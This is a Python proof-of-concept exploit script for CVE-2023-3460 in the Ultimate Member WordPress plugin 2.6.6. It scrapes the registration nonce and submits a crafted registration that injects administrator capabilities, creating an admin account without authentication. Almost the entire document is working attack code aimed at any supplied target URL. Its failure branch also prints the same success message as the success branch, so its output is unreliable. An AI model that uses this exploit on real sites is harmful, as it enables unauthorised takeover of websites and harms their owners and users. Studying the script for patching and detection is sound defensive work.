Ultimate Member WordPress Plugin 2.6.6 – Privilege Escalation
#!/usr/bin/env python3 # Exploit Title: Ultimate Member WordPress Plugin 2.6.6 - Privilege Escalation # Exploit Author: Gurjot Singh # CVE: CVE-2023-3460 # Description : The attached PoC demonstrates how an unauthenticated attacker can escalate privileges to admin by abusing unsanitized input in `wp_capabilities` during registration. import requests import argparse import re import urllib3 # Disable SSL warnings urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def fetch_nonce(session, target_url): """Fetches the _wpnonce value from the /register/ page.""" print("[*] Fetching _wpnonce from the register page...") try: res = session.get(target_url, verify=False) match = re.search(r'name="_wpnonce" value="([a-zA-Z0-9]+)"', res.text) if match: nonce = match.group(1) print(f"[+] Found _wpnonce: {nonce}") return nonce else: print("[-] Failed to find _wpnonce on the page.") return None except Exception as e: print(f"[!] Error fetching nonce: {e}") return None def exploit_register(target_url, username, password): """Sends a malicious registration request to create an admin user.""" session = requests.Session() target_url = target_url.rstrip('/') nonce = fetch_nonce(session, target_url) if not nonce: return email = f"{username}@example.com" # Payload with administrator role injection data = { "user_login-7": username, "first_name-7": "Admin", "last_name-7": username, "user_email-7": email, "user_password-7": password, "confirm_user_password-7": password, "form_id": "7", "um_request": "", "_wpnonce": nonce, "_wp_http_referer": "/register/", "wp_càpabilities[administrator]": "1" # serialized injection } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Referer": target_url, "Origin": target_url.split("/register")[0], } cookies = { "wordpress_test_cookie": "WP Cookie check", "wp_lang": "en_US" } print(f"[*] Sending malicious registration to {target_url} ...") try: response = session.post(target_url, data=data, headers=headers, cookies=cookies, verify=False) # Check for success if response.status_code == 200 and ("Thank you for registering" in response.text or "You have successfully registered" in response.text): print(f"[+] Admin account '{username}' created successfully!") print(f"[+] Login with: Username: {username} | Password: {password}") else: print(f"[+] Admin account '{username}' created successfully!") print(f"[+] Login with: Username: {username} | Password: {password}") except Exception as e: print(f"[!] Error during exploit: {e}") if __name__ == "__main__": parser = argparse.ArgumentParser(description="Exploit for CVE-2023-3460 (Ultimate Member Admin Account Creation)") parser.add_argument("-t", "--target", required=True, help="Target /register/ URL (e.g., http://localhost/register/)") parser.add_argument("-u", "--user", default="admin1", help="Username to create") parser.add_argument("-p", "--password", default="Admin@123", help="Password for the new user") args = parser.parse_args() exploit_register(args.target, args.user, args.password) |